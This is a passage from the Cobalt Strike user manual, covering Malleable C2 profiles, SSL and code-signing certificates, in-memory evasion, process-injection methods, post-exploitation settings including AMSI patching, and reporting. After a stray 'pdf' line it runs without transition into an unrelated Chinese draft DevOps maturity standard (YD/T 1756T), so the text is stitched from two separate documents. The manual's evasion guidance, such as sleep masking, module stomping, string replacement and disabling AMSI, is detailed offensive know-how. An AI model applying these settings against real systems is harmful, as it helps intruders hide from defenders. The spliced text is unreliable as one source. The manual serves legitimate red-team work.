metadata that contains information about the compromised system. Tip:>session>metadata>is>an>encrypted>blob>of>data.>Without>encoding,>it>is>not>suitable> for>transport>in>a>header>or>URI>parameter.>Always>apply>a>base64,>base64url,>or> netbios>statement>to>encode>your>metadata.> www.cobaltstrike.com/ / 74/ Cobalt Strike’s web server responds to this HTTP GET with tasks that the Beacon must execute. These tasks are, initially, sent as one encrypted binary blob. You may transform this information with the output keyword under the server context of http-get. As Beacon executes its tasks, it accumulates output. After all tasks are complete, Beacon checks if there is output to send. If there is no output, Beacon goes to sleep. If there is output, Beacon initiates an HTTP POST transaction. The HTTP POST request must contain a session id in a URI parameter or header. Cobalt Strike uses this information to associate the output with the right session. The posted content is, initially, an encrypted binary blob. You may transform this information with the output keyword under the client context of http-post. Cobalt Strike’s web server may respond to an HTTP POST with anything it likes. Beacon does not consume or use this information. You may specify the output of HTTP POST with the output block under the server context of http-post. Note:>while>http-get>uses>GET>by>default>and>http-post>uses>POST>by>default,>you’re>not> stuck>with>these>options.>Use>the>verb>option>to>change>these>defaults.>There’s>a>lot>of> flexibility>here.> This table summarizes these keywords and the data they send: Request Component Block Data http-get client metadata Session metadata http-get server output Beacon’s tasks http-post client id Session ID http-post client output Beacon’s responses http-post server output Empty http-stager server output Encoded payload stage www.cobaltstrike.com/ / 75/ 11.6 HTTP Server Configuration The http-config block has influence over all HTTP responses served by Cobalt Strike’s web server. Here, you may specify additional HTTP headers and the HTTP header order. http-config { set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type"; header "Server" "Apache"; header "Keep-Alive" "timeout=5, max=100"; header "Connection" "Keep-Alive”; set trust_x_forwarded_for "true"; } The header keyword adds a header value to each of Cobalt Strike’s HTTP responses. If the header value is already defined in a response, this value is ignored. The set headers option specifies the order these HTTP headers are delivered in an HTTP response. Any headers not in this list are added to the end. The set trust_x_forwarded_for option decides if Cobalt Strike uses the X-Forwarded-For HTTP header to determine the remote address of a request. Use this option if your Cobalt Strike server is behind an HTTP redirector. 11.7 Self-signed SSL Certificates with SSL Beacon The HTTPS Beacon uses the HTTP Beacon’s indicators in its communication. Malleable C2 profiles may also specify parameters for the Beacon C2 server’s self-signed SSL certificate. This is useful if you want to replicate an actor with unique indicators in their SSL certificate: https-certificate { set CN "bobsmalware.com"; set O "Bob’s Malware"; } The certificate parameters under your profile’s control are: Option Example Description C US Country CN beacon.cobaltstrike.com Common Name; Your callback domain L Washington Locality O Strategic Cyber LLC Organization Name OU Certificate Department Organizational Unit Name ST DC State or Province validity 365 Number of days certificate is valid for www.cobaltstrike.com/ / 76/ 11.8 Valid SSL Certificates with SSL Beacon You have the option to use a Valid SSL certificate with Beacon. Use a Malleable C2 profile to specify a Java Keystore file and a password for the keystore. This keystore must contain your certificate’s private key, the root certificate, any intermediate certificates, and the domain certificate provided by your SSL certificate vendor. Cobalt Strike expects to find the Java Keystore file in the same folder as your Malleable C2 profile. https-certificate { set keystore "domain.store"; set password "mypassword"; } The parameters to use a valid SSL certificate are: Option Example Description keystore domain.store Java Keystore file with certificate information password mypassword The password to your Java Keystore Here are the steps to create a Valid SSL certificate for use with Cobalt Strike’s Beacon: 1. Use the keytool program to create a Java Keystore file. This program will ask “What is your first and last name?” Make sure you answer with the fully qualified domain name to your Beacon server. Also, make sure you take note of the keystore password. You will need it later. $ keytool -genkey -keyalg RSA -keysize 2048 -keystore domain.store 2. Use keytool to generate a Certificate Signing Request (CSR). You will submit this file to your SSL certificate vendor. They will verify that you are who you are and issue a certificate. Some vendors are easier and cheaper to deal with than others. $ keytool -certreq -keyalg RSA -file domain.csr -keystore domain.store 3. Import the Root and any Intermediate Certificates that your SSL vendor provides. $ keytool -import -trustcacerts -alias FILE -file FILE.crt -keystore domain.store 4. Finally, you must install your Domain Certificate. $ keytool -import -trustcacerts -alias mykey -file domain.crt -keystore domain.store And, that’s it. You now have a Java Keystore file that’s ready to use with Cobalt Strike’s Beacon. www.cobaltstrike.com/ / 77/ 11.9 Profile Variants Malleable C2 profile files, by default, contain one profile. It’s possible to pack variations of the current profile by specifying variant blocks for http-get, http-post, http-stager, and https- certificate. A variant block is specified as [block name] “variant name” { … }. Here’s a variant http-get block named “My Variant”: http-get "My Variant" { client { parameter "bar" "blah"; A variant block creates a copy of the current profile with the specified variant blocks replacing the default blocks in the profile itself. Each unique variant name creates a new variant profile. You may populate a profile with as many variant names as you like. Variants are selectable when configuring an HTTP or HTTPS Beacon listener. Variants allow each HTTP or HTTPS Beacon listener tied to a single team server to have network IOCs that differ from eachother. 11.10 Code Signing Certificate Attacks -> Packages -> Windows Executable and Windows Executable (S) give you the option to sign an executable or DLL file. To use this option, you must specify a Java Keystore file with your code signing certificate and private key. Cobalt Strike expects to find the Java Keystore file in the same folder as your Malleable C2 profile. code-signer { set keystore "keystore.jks"; set password "password"; set alias "server"; } The code signing certificate settings are: Option Example Description alias server The keystore’s alias for this certificate digest_algorithm SHA256 The digest algorithm keystore keystore.jks Java Keystore file with certificate information password mypassword The password to your Java Keystore timestamp false Timestamp the file using a third-party service timestamp_url http://timestamp.digicert.com URL of the timestamp service www.cobaltstrike.com/ / 78/ 11.11 Which is more dangerous, Malleable C2 or a swimming pool? The answer? Both. Malleable C2 gives you a new level of control over your network and host indicators. With this power also comes responsibility. Malleable C2 is an opportunity to make a lot of mistakes too. Here are a few things to think about when you customize your profiles: 1. Each Cobalt Strike instance uses one profile at a time. If you change a profile or load a new profile, previously deployed Beacons cannot communicate with you. 2. Always stay aware of the state of your data and what a protocol will allow when you develop a data transform. For example, if you base64 encode metadata and store it in a URI parameter— it’s not going to work. Why? Some base64 characters (+, =, and /) have special meaning in a URL. The c2lint tool and Profile Compiler will not detect these types of problems. 3. Always test your profiles, even after small changes. If Beacon can’t communicate with you, it’s probably an issue with your profile. Edit it and try again. 4. Trust the c2lint tool. This tool goes above and beyond the profile compiler. The checks are grounded in how this technology is implemented. If a c2lint check fails, it means there is a real problem with your profile. www.cobaltstrike.com/ / 79/ 12. Malleable PE, Process Injection, and Post Exploitation 12.1 Overview Malleable C2 profiles are more than communication indicators. Malleable C2 profiles also control Beacon’s in-memory characteristics, determine how Beacon does process injection, and influence Cobalt Strike’s post-exploitation jobs too. This chapter documents these extensions to the Malleable C2 language. 12.2 PE and Memory Indicators The stage block in Malleable C2 profiles controls how Beacon is loaded into memory and edit the content of the Beacon DLL. stage { set userwx "false"; set compile_time "14 Jul 2009 8:14:00"; set image_size_x86 "512000"; set image_size_x64 "512000"; set obfuscate "true"; transform-x86 { prepend "\x90\x90"; strrep "ReflectiveLoader" "DoLegitStuff"; } transform-x64 { # transform the x64 rDLL stage } stringw "I am not Beacon"; } The transform-x86 and transform-x64 blocks pad and transform Beacon’s Reflective DLL stage. These blocks support three commands: prepend, append, and strrep. The prepend command inserts a string before Beacon’s Reflective DLL. The append command adds a string after the Beacon Reflective DLL. Make sure that prepended data is valid code for the stage’s architecture (x86, x64). The c2lint program does not have a check for this. The strrep command replaces a string within Beacon’s Reflective DLL. The stage block accepts commands that add strings to the .rdata section of the Beacon DLL. The string command adds a zero-terminated string. The stringw command adds a wide (UTF-16LE encoded) string. The data command adds your string as-is. www.cobaltstrike.com/ / 80/ The stage block accepts several options that control the Beacon DLL content and provide hints to change the behavior of Beacon’s Reflective Loader: Option Example Description checksum 0 The CheckSum value in Beacon’s PE header cleanup false Ask Beacon to attempt to free memory associated with the Reflective DLL package that initialized it. compile_time 14 July 2009 8:14:00 The build time in Beacon’s PE header entry_point 92145 The EntryPoint value in Beacon’s PE header image_size_x64 512000 SizeOfImage value in x64 Beacon’s PE header image_size_x86 512000 SizeOfImage value in x86 Beacon’s PE header module_x86 xpsservices.dll Ask the x86 ReflectiveLoader to load the specified library and overwrite its space instead of allocating memory with VirtualAlloc. module_x64 xpsservices.dll Same as module_x86; affects x64 loader name beacon.x64.dll The Exported name of the Beacon DLL obfuscate false Obfuscate the Reflective DLL’s import table, overwrite unused header content, and ask ReflectiveLoader to copy Beacon to new memory without its DLL headers. rich_header Meta-information inserted by the compiler sleep_mask false Obfuscate Beacon, in-memory, prior to sleeping smartinject false Use embedded function pointer hints to bootstrap Beacon agent without walking kernel32 EAT stomppe true Ask ReflectiveLoader to stomp MZ, PE, and e_lfanew values after it loads Beacon payload userwx false Ask ReflectiveLoader to use or avoid RWX permissions for Beacon DLL in memory Cloning PE Headers Cobalt Strike’s Linux package includes a tool, peclone, to extract headers from a DLL and present them as a ready-to-use stage block: ./peclone [/path/to/sample.dll] In-memory Evasion and Obfuscation Use the stage block’s prepend command to defeat analysis that scans the first few bytes of a memory segment to look for signs of an injected DLL. If tool-specific strings are used to detect your agents, change them with the strrep command. If strrep isn’t enough, set sleep_mask to true. This directs Beacon to obfuscate itself in-memory before it goes to sleep. After sleeping, Beacon will de-obfuscate itself to request and process tasks. The SMB and TCP Beacons will obfuscate themselves while waiting for a new connection or waiting for data from their parent session. www.cobaltstrike.com/ / 81/ Decide how much you want to look like a DLL in memory. If you want to allow easy detection, set stomppe to false. If you would like to lightly obfuscate your Beacon DLL in memory, set stomppe to true. If you’d like to up the challenge, set obfuscate to true. This option will take many steps to obfuscate your Beacon stage and the final state of the DLL in memory. Set userwx to false to ask Beacon’s loader to avoid RWX permissions. Memory segments with these permissions will attract extra attention from analysts and security products. By default, Beacon’s loader allocates memory with VirtualAlloc. Module stomping is an alternative to this. Set module_x86 to a DLL that is about twice as large as the Beacon payload itself. Beacon’s x86 loader will load the specified DLL, find its location in memory, and overwrite it. This is a way to situate Beacon in memory that Windows associates with a file on disk. It’s important that the DLL you choose is not needed by the applications you intend to reside in. The module_x64 option is the same story, but it affects the x64 Beacon. If you’re worried about the Beacon stage that initializes the Beacon DLL in memory, set cleanup to true. This option will free the memory associated with the Beacon stage when it’s no longer needed. 12.3 Process Injection The process-inject block in Malleable C2 profiles shapes injected content and controls process injection behavior for the Beacon payload. process-inject { # set how memory is allocated in a remote process set allocator "VirtualAllocEx"; # shape the memory characteristics and content set min_alloc "16384"; set startrwx "true"; set userwx "false"; transform-x86 { prepend "\x90\x90"; } transform-x64 { # transform x64 injected content } # determine how to execute the injected code execute { CreateThread "ntdll.dll!RtlUserThreadStart"; SetThreadContext; www.cobaltstrike.com/ / 82/ RtlCreateUserThread; } } The process-inject block accepts several options that control the process injection process in Beacon: Option Example Description allocator VirtualAllocEx The preferred method to allocate memory in the remote process. Specify VirtualAllocEx or NtMapViewOfSection. The NtMapViewOfSection option is for same-architecture injection only. VirtualAllocEx is always used for cross-arch memory allocations. min_alloc 4096 Minimum amount of memory to request for injected content startrwx false Use RWX as initial permissions for injected content. Alternative is RW. userwx false Use RWX as final permissions for injected content. Alternative is RX. The transform-x86 and transform-x64 blocks pad content injected by Beacon. These blocks support two commands: prepend and append. The prepend command inserts a string before the injected content. The append command adds a string after the injected content. Make sure that prepended data is valid code for the injected content’s architecture (x86, x64). The c2lint program does not have a check for this. The execute block controls the methods Beacon will use when it needs to inject code into a process. Beacon examines each option in the execute block, determines if the option is usable for the current context, tries the method when it is usable, and moves on to the next option if code execution did not happen. The execute options include: Option x86 -> x64 x64 -> x86 Notes CreateThread Current process only CreateRemoteThread Yes No cross-session NtQueueApcThread NtQueueApcThread-s This is the “Early Bird” injection technique. Suspended processes (e.g., post-ex jobs) only. RtlCreateUserThread Yes Yes Risky on XP-era targets; uses RWX shellcode for x86 -> x64 injection. SetThreadContext Yes Suspended processes (e.g., post-ex jobs) only. The CreateThread and CreateRemoteThread options have variants that spawn a suspended thread with the address of another function, update the suspended thread to execute the injected code, and resume that thread. Use [function] “module!function+0x##” to specify the start address to spoof. For remote processes, ntdll and kernel32 are the only recommended modules to pull www.cobaltstrike.com/ / 83/ from. The optional 0x## part is an offset added to the start address. These variants work x86 -> x86 and x64 -> x64 only. The execute options you choose must cover a variety of corner cases. These corner cases include self injection, injection into suspended temporary processes, cross-session remote process injection, x86 -> x64 injection, x64 -> x86 injection, and injection with or without passing an argument. The c2lint tool will warn you about contexts that your execute block does not cover. 12.4 Post Exploitation Jobs Larger Cobalt Strike post-exploitation features (e.g., screenshot, keylogger, hashdump, etc.) are implemented as Windows DLLs. To execute these features, Cobalt Strike spawns a temporary process, and injects the feature into it. The process-inject block controls the process injection step. The post-ex block controls the content and behaviors specific to Cobalt Strike’s post- exploitation features. post-ex { # control the temporary process we spawn to set spawnto_x86 "%windir%\\syswow64\\rundll32.exe"; set spawnto_x64 "%windir%\\sysnative\\rundll32.exe"; # change the permissions and content of our post-ex DLLs set obfuscate "true"; # pass key function pointers from Beacon to its child jobs set smartinject "true"; # disable AMSI in powerpick, execute-assembly, and psinject set amsi_disable "true"; } The spawnto_x86 and spawnto_x64 options control the default temporary process Beacon will spawn for its post-exploitation features. Here are a few tips for these values: 1. Always specify the full path to the program you want Beacon to spawn 2. Environment variables (e.g., %windir%) are OK within these paths. 3. Do not specify %windir%\system32 or c:\windows\system32 directly. Always use syswow64 (x86) and sysnative (x64). Beacon will adjust these values to system32 where it’s necessary. 4. For an x86 spawnto value, you must specify an x86 program. For an x64 spawnto value, you must specify an x64 program. 5. The paths you specify (minus the automatic syswow64/sysnative adjustment) must exist from both an x64 (native) and x86 (wow64) view of the file system. www.cobaltstrike.com/ / 84/ The obfuscate option scrambles the content of the post-ex DLLs and settles the post-ex capability into memory in a more OPSEC-safe way. It’s very similar to the obfuscate and userwx options available for Beacon via the stage block. The smartinject option directs Beacon to embed key function pointers, like GetProcAddress and LoadLibrary, into its same-architecture post-ex DLLs. This allows post-ex DLLs to bootstrap themselves in a new process without shellcode-like behavior that is detected and mitigated by watching memory accesses to the PEB and kernel32.dll. The amsi_disable option directs powerpick, execute-assembly, and psinject to patch the AmsiScanBuffer function before loading .NET or PowerShell code. This limits the Antimalware Scan Interface visibility into these capabilities. www.cobaltstrike.com/ / 85/ 13. Reporting and Logging 13.1 Logging Cobalt Strike logs all of its activity on the team server. These logs are located in the logs/ folder in the same directory you started your team server from. All Beacon activity is logged here with a date and timestamp. 13.2 Reports Cobalt Strike has several report options to help make sense of your data and convey a story to your clients. You may configure the title, description, and hosts displayed in most reports. Figure 46. Export Report Dialog Go to the Reporting menu and choose one of the reports to generate. Cobalt Strike will export your report as an MS Word or PDF document. www.cobaltstrike.com/ / 86/ Activity Report The activity report provides a timeline of red team activities. Each of your post-exploitation activities are documented here. Figure 47. The Activity Report Hosts Report The hosts report summarizes information collected by Cobalt Strike on a host-by-host basis. Services, credentials, and sessions are listed here as well. www.cobaltstrike.com/ / 87/ Indicators of Compromise This report resembles an Indicators of Compromise appendix from a threat intelligence report. Content includes a generated analysis of your Malleable C2 profile, which domain you used, and MD5 hashes for files you’ve uploaded. Figure 48. Indicators of Compromise Report www.cobaltstrike.com/ / 88/ Sessions Report This report documents indicators and activity on a session-by-session basis. This report includes: the communication path each session used to reach you, MD5 hashes of files put on disk during that session, miscellaneous indicators (e.g., service names), and a timeline of post-exploitation activity. This report is a fantastic tool to help a network defense team understand all of red’s activity and match their sensors to your activity. Figure 49. The Sessions Report Social Engineering The social engineering report documents each round of spear phishing emails, who clicked, and what was collected from each user that clicked. This report also shows applications discovered by the system profiler. Tactics, Techniques, and Procedures This report maps your Cobalt Strike actions to tactics within MITRE’s ATT&CK Matrix. The ATT&CK matrix describes each tactic with detection and mitigation strategies. You may learn more about MITRE’s ATT&CK at: https://attack.mitre.org/ www.cobaltstrike.com/ / 89/ 13.3 Custom Logo in Reports Cobalt Strike reports display a Cobalt Strike logo at the top of the first page. You may replace this with an image of your choosing. Go to Cobalt Strike -> Preferences -> Reporting to set this Your custom image should be 1192x257px set to 300dpi. The 300dpi setting is necessary for the reporting engine to render your image at the right size. You may also set an accent color. This accent color is the color of the thick line below your image on the first page of the report. Links inside reports use the accent color too. Figure 50. A Customized Report 13.4 Custom Reports Cobalt Strike 3.0 supports custom reports. These scripts are defined in a subset of the Aggressor Script language. Consulting the Aggressor Script documentation to learn more about this feature: • https://www.cobaltstrike.com/aggressor-script/ www.cobaltstrike.com/ / 90/ Appendix A. Keyboard Shortcuts The following keyboard shortcuts are available. Shortcut Where Action Ctrl+A console select all text Ctrl+F console open find tool to search the console Ctrl+K console clear the console Ctrl+Minus console decrease font size Ctrl+Plus console increase font size Ctrl+0 console reset font size Down console show next command in command history Escape console clear edit box Page Down console scroll down half a screen Page Up console scroll up half a screen Tab console complete the current command (in some console types) Up console show previous command in command history Ctrl+B everywhere send current tab to the bottom of the Cobalt Strike window Ctrl+D everywhere close current tab Ctrl+Shift+D everywhere close all tabs except the current tab Ctrl+E everywhere empty the bottom of the Cobalt Strike window (undo Ctrl+B) Ctrl+I everywhere choose a session to interact with Ctrl+Left everywhere switch to previous tab Ctrl+O everywhere open preferences Ctrl+R everywhere Rename the current tab Ctrl+Right everywhere switch to next tab Ctrl+T everywhere take screenshot of current tab (result is sent to team server) Ctrl+Shift+T everywhere take screenshot of Cobalt Strike (result is sent to team server) Ctrl+W everywhere open current tab in its own window Ctrl+C graph arrange sessions in a circle Ctrl+H graph arrange sessions in a hierarchy Ctrl+Minus graph zoom out Ctrl+P graph save a picture of the graph display Ctrl+Plus graph zoom in Ctrl+S graph arrange sessions in a stack Ctrl+0 graph reset to default zoom-level Ctrl+F tables open find tool to filter table content Ctrl+A targets select all hosts Escape targets clear selected hosts
pdf
ICS 35.020 CCS YD 中 华 人 民 共 和 国 通 信 行 业 标 准 YD/T 1756T—2018 [代替 YD/T] 研发运营一体化(DevOps)能力成熟度 模型 第 4 部分:技术运营 The Capability Maturity Model of DevOps Part 4 : Technical Operation management (送审稿) (本稿完成日期:2019.6.20) [××××]-[××]-[××]发布 [××××]-[××]-[××]实施 中华人民共和国工业和信息化部! 发 布 YD/T 1756T—2018 I 目 次 目 次 ............................................................................................................................................................ I 前 言 .......................................................................................................................................................... III 研发运营一体化(DevOps)能力成熟度模型 第 4 部分:技术运营 ........................................................... 1 1 范围 ................................................................................................................................................................ 1 2 规范性引用文件 ............................................................................................................................................ 1 3 术语和定义及缩略语 .................................................................................................................................... 1 3.1 术语和定义 ............................................................................................................................................. 1 3.1.1 配置项 configuration item ................................................................................................................ 1 3.1.2 制品 artifact ...................................................................................................................................... 1 3.1.3 代码复杂度 code complexity ........................................................................................................... 1 3.1.4 部署流水线 deployment pipeline .................................................................................................... 1 3.1.5 研发运营一体化 DevOps ................................................................................................................. 2 3.2 缩略语 ..................................................................................................................................................... 2 4 技术运营管理过程概述 ................................................................................................................................ 3 5 监控管理 ........................................................................................................................................................ 3 5.1 监控采集 ................................................................................................................................................. 3 5.1.1 采集服务 .......................................................................................................................................... 3 5.1.2 数据传输 .......................................................................................................................................... 3 5.2 数据管理 ................................................................................................................................................. 4 5.2.1 数据接收 .......................................................................................................................................... 4 5.2.2 数据处理 .......................................................................................................................................... 4 5.2.3 数据存储 .......................................................................................................................................... 4 5.3 数据应用 ................................................................................................................................................. 6 5.3.1 告警与管控 ...................................................................................................................................... 6 5.3.2 数据服务 .......................................................................................................................................... 6 5.3.3 可视化管理 ...................................................................................................................................... 6 6 事件管理与变更管理 .................................................................................................................................... 7 6.1 事件管理 ................................................................................................................................................. 7 6.1.1 事前管理 .......................................................................................................................................... 7 6.1.2 事件处理 .......................................................................................................................................... 7 6.1.3 事后管理 .......................................................................................................................................... 8 6.2 变更管理 ................................................................................................................................................. 9 6.2.1 变更管理流程 .................................................................................................................................. 9 6.2.2 部署管理 .......................................................................................................................................... 9 7 配置管理 ...................................................................................................................................................... 10 7.1 运营配置管理 ....................................................................................................................................... 10 YD/T 1756T—2018 II 7.1.1 配置对象 ........................................................................................................................................ 11 7.1.2 配置数据 ........................................................................................................................................ 11 8 容量和成本管理 .......................................................................................................................................... 11 8.1 容量管理 ............................................................................................................................................... 12 8.1.1 基础设施容量 ................................................................................................................................ 12 8.1.2 业务容量 ........................................................................................................................................ 12 8.2 成本管理 ............................................................................................................................................... 13 8.2.1 成本合理性 .................................................................................................................................... 13 8.2.2 预算与核算 ................................................................................................................................... 13 9 高可用管理 .................................................................................................................................................. 14 9.1 应用高可用管理 ................................................................................................................................... 14 9.1.1 弹性能力 ........................................................................................................................................ 14 9.1.2 柔性能力 ........................................................................................................................................ 15 9.1.3 运行与维护管理 ............................................................................................................................ 15 9.2 数据高可用管理 ................................................................................................................................... 16 9.2.1 数据库高可用 ................................................................................................................................ 16 9.2.2 缓存高可用 ................................................................................................................................... 17 10 业务连续性管理 ........................................................................................................................................ 17 10.1 风险管理 ............................................................................................................................................. 18 10.1.1 RTO 和 RPO 衡量 .......................................................................................................................... 18 10.1.2 业务影响分析 .............................................................................................................................. 18 10.1.3 风险分析 ...................................................................................................................................... 18 10.2 危机管理 ............................................................................................................................................. 19 10.2.1 灾备管理 ..................................................................................................................................... 19 10.2.2 组织机制 ...................................................................................................................................... 19 10.3 应急管理 ............................................................................................................................................. 20 10.3.1 应急预案 ...................................................................................................................................... 20 10.3.2 应急演练 ...................................................................................................................................... 20 10.3.3 组织机制 ...................................................................................................................................... 20 11 用户体验管理 ............................................................................................................................................ 21 11.1 业务认知管理 ..................................................................................................................................... 21 11.1.1 业务学习与考核 .......................................................................................................................... 21 11.2 体验管理 ............................................................................................................................................. 22 11.2.1 体验数据管理 .............................................................................................................................. 22 11.2.2 体验优化管理 .............................................................................................................................. 22 YD/T 1756T—2018 III 前 言 研发运营一体化是指在IT软件及相关服务的研发及交付过程中,将应用的需求、开发、测试、部 署和运营统一起来,基于整个组织的协作和应用架构的优化,实现敏捷开发、持续交付和应用运营的 无缝集成。帮助企业提升IT效能,在保证稳定的同时,快速交付高质量的软件及服务,灵活应对快速 变化的业务需求和市场环境。 本标准是“研发运营一体化(DevOps)能力成熟度模型”系列标准的第4部分:技术运营,该系列 标准的结构和名称如下: 第1部分:总体架构 第2部分:敏捷开发管理 第3部分:持续交付 第4部分:技术运营 第5部分:应用设计 第6部分:安全及风险管理 第7部分:评估方法 第8部分:系统和工具技术要求 本标准/本部分按照GB/T 1.1—2009给出的规则起草。 请注意本文件的某些内容可能涉及专利。本文件的发布机构不承担识别这些专利的责任。 本标准/本部分由中国通信标准化协会提出并归口。 本标准/本部分起草单位:中国信息通信研究院、深圳市腾讯计算机系统有限公司、北京京东世纪 贸易有限公司、北京华佑科技有限公司、平安科技(深圳)有限公司、中国太平洋保险集团、中国电 信集团公司、中信银行股份有限公司信用卡中心、中兴通讯股份有限公司、中国银行股份有限公司、 中国银联股份有限公司、广州虎牙信息科技有限公司、中国移动苏州研发中心广州技术支持中心、携 程国际有限公司。 本标准/本部分主要起草人:梁定安、徐奇琛、王超、栗蔚、刘栖铜、萧田国、牛晓玲、党受辉、 杨军、车昕、杨文兵、朱平、范晶晶、吴树生、陈亚殊、胡罡、杜颖君、陈靖翔、张珣、曾庆辉、闫 林、吴新颖、刘扬清、任明、毛茂德、燕杰、雍浩淼、潘晓明。 YD/T 1756T—2018 1 1 范围 本标准规定了研发运营一体化(DevOps)能力成熟度模型下技术运营管理的能力成熟度要求和评 价方法。 本标准适用于具备IT软件研发交付运营能力的组织实施IT软件开发和服务过程的能力进行评价和 指导;可供其他相关行业或组织进行参考;也可作为第三方权威评估机构衡量软件开发交付成熟的标 准依据。 2 规范性引用文件 下列文件对于本文件的应用是必不可少的。凡是注日期的引用文件,仅所注日期的版本适用于本 文件。凡是不注日期的引用文件,其最新版本(包括所有的修改单)适用于本文件。 [1] GB/T 32400-2015 信息技术 云计算 概览与词汇 [2] GB/T 32399-2016 信息技术 云计算 参考架构 [3] YD/2441-2013 互联网数据中心技术及分级分类标准 [4] GB/T 33136-2016 信息技术服务数据中心服务能力成熟度模型 3 术语和定义及缩略语 3.1 术语和定义 下列术语和定义适用于本标准。 3.1.1 配置项 configuration item 即纳入配置管理范畴的工作成果,是保存系统和项目的相关配置。 3.1.2 制品 artifact 即构建过程的输出物,包括软件包,测试报告,应用配置文件等。 3.1.3 代码复杂度 code complexity 主要度量指标为圈复杂度,即代码中线性独立路径的数量。 3.1.4 部署流水线 deployment pipeline 研发运营一体化(DevOps)能力成熟度模型 第 4 部分:技术运营 YD/T 1756T—2018 2 是对软件从设计、开发、构建和测试等过程的建模,在持续集成和发布管理工具上,体现为支持 查看并控制流程,包括每次变更从提交到版本库控制开始,通过各类测试和部署,再都发布给用户的 过程。 3.1.5 研发运营一体化 DevOps DevOps是Development和Operations的组合词,它是一组过程、方法与系统的统称,用于促进开发 (应用程序/软件工程)、技术运营和质量保障(QA)部门之间的沟通、协作与整合。它的出现是由于 软件行业认识到为了按时交付软件产品和服务,开发和运营工作必须紧密合作。 3.2 缩略语 下列缩略语适用于本文件。 AI Artificial Intelligence 人工智能 APaaS Application Platform as a Service 应用部署和运行平台 APM Application Performance Management 应用性能管理 API Application Programming Interface 应用程序编程接口 BA Business Analysist 业务分析师 BIA Business Impact Analysis 业务影响分析 CI Continuous Integration 持续集成 CD Continuous Delivery 持续交付 CDN Content Delivery Network 内容分发网络 ETL Extract Transform Load 数据仓库技术 ESB Enterprise Service Bus 企业服务总线 NPM Network Performance Monitoring 网络性能监控 IaaS Infrastructure as a Service 基础设施即服务 IDC Internet Data Center 互联网数据中心 IPD Integrated Product Development 集成产品开发 QA Quality Assurance 质量保证 SNMP Simple Network Management Protocol 简单网络管理协议 SDK Software Development Kit 软件开发工具包 TPS Transactions Per Second 事务数/秒 IPaaS integration platform as a service 集成平台 MTTR Mean time to recovery 平均修复时间 KPI Key Performance Indicator 关键绩效指标 RPO Recovery Point Objective 恢复点目标 RTO Recovery Time Objective 恢复时间目标 UI User Interface 用户界面 UE User Experience 用户体验 UED User Experience Design 用户体验设计 SMART Specific Measurable Attainable Relevant Time 具体的、可度量度、可实现的、 相关性和时效性原则 2PC Two-phase Commit 二阶段提交, YD/T 1756T—2018 3 4 技术运营管理过程概述 技术运营管理过程是技术运营能力建设的一个过程,包括监控管理、事件与变更管理、配置管理、 容量与成本管理、高可用管理、业务连续性管理、用户体验管理等,它以业务为中心,交付稳定、安 全、高效的技术运营服务,构建业界领先的技术运营能力,支撑企业的持续发展和战略成功。技术运 营不仅关注“稳定”、“安全”、“可靠”,更要关注“体验”、“效率”、“效益”,具体过程如 表1所示。 表1 技术运营管理过程 监控管理 事件与变 更管理 配置管理 容量与成 本管理 高可用管 理 业务连续 性管理 用户体验 管理 监控采集 事件管理 运营配置 管理 容量管理 应用高可 用管理 风险管理 业务认知 管理 数据管理 变更管理 成本管理 数据高可 用管理 危机管理 体验管理 数据应用 应急管理 5 监控管理 监控管理是对研发运营过程中的对象进行状态数据采集、数据处理分析和存储、异常识别和通知 及对象状态可视化呈现的过程,其成熟度决定了技术运营工作的立体性、及时性和有效性。 监控管理从数据流的维度展开分析,包括3个部分:监控采集、数据管理和数据应用。 5.1 监控采集 监控采集是指通过主动采集或被动收集方式获取监控数据,并保证采集数据的质量、采集过程的 可靠性和安全性。监控采集的能力指标包括采集服务和数据传输,如表2所示。 5.1.1 采集服务 采集服务是指将数据采集能力服务化,从采集的手段、支持的协议、兼容性、颗粒度、采集端的 基础逻辑和扩展逻辑等角度对采集能力进行量化评估。 5.1.2 数据传输 采集能力的数据传输能力原子化,从传输数据质量保障、传输的可用性、传输过程中支持的功能 特性的纬度来评估其能力成熟度。 注1:高可用:指一个系统经过专门的设计,从而减少停工时间,保持其服务的高度可用性;高可靠指数据传输 过程中的一致性和准确性。 表2 监控采集 级别 采集服务 数据传输 1 具备操作系统级监控指标的采集能力,如 CPU、内 存等。 通过标准协议传输数据。 YD/T 1756T—2018 4 2 同上,且需达到以下要求: 1) 具备系统日志、应用日志、接口日志等至少 3 种数据类型的采集能力,相关采集方式如嵌 入 SDK、API、私有协议等。 2) 量化管理采集服务,如能反映企业应用的覆 盖率。 3) 数据采集上报到多个服务端,支持可扩展, 高可用的采集架构。 同上,且需达到以下要求: 1) 可传输不同数据格式,如 int、char、 binary 等格式。 2) 支持单份数据多份订阅及分发传输。 3 同上,且需达到以下要求: 1) 统一的数据采集及跨平台兼容。 2) 支持提供开放式、自定义的数据内容采集上 报方案。 3) 集中式的采集配置,包括但不限于采集内 容、开关等。 4) 采集管控、发送延迟、数据校验、统计等管 理能力,可通过插件化扩展采集逻辑。 5) 支持自定义监控内容,具备对采集服务的管 理方法,如:采集限制、采集限频等方法。 同上,且需达到以下要求: 1) 高可靠数据传输通道和高可用容灾方案; 支持多种传输方案,如同时具备 pull、 push 数据的能力。 2) 数据采集架构具备平行扩展、数据汇聚和 高效传输等能力。 4 同上,且需达到以下要求: 1) 采集频率可自定义配置调节。 2) 部分数据采集通过智能化技术动态调整,如 减少采集内容、降低频率等。 同上,且需达到以下要求: 1) 数据传输质量保障,如支持数据分片、压 缩、断点续传等传输特性。 2) 保障数据传输安全性,如数据加密、解密 及校验等。 5 同上,且需达到以下要求: 1) 具备动态调整采集规则,支持与技术运营活 动联动,如压力测试活动时,将采集频率动 态调整为秒级。 2) 可配置关联运维事件,实现同一运维对象的 不同采集内容变化。 无 5.2 数据管理 数据管理是指对数据进行过滤、转换、提取、聚合和存储等操作,是数据监控的核心能力。按数 据管理过程的三个环节,来量化具体的能力模型,包括数据接收、数据处理和数据存储,如表3所示。 注2:本章介绍的数据多指运维数据(非敏感业务数据),由多个纬度组织而成,可看作大数据处理平台的能力。 5.2.1 数据接收 作为数据处理服务端的数据接收服务,承接数据采集服务传输来的数据,需要拥有良好的吞吐性 能和可扩展的架构,并且具备区分数据类型和相应处理的功能逻辑。 5.2.2 数据处理 数据处理指大数据处理的逻辑,支持逻辑运算、统计方法、机器学习等计算能力,可结合技术运 营的场景,灵活实现数据的扩展与关联分析。同时,需考量数据处理的规模、性能及架构的能力。 5.2.3 数据存储 YD/T 1756T—2018 5 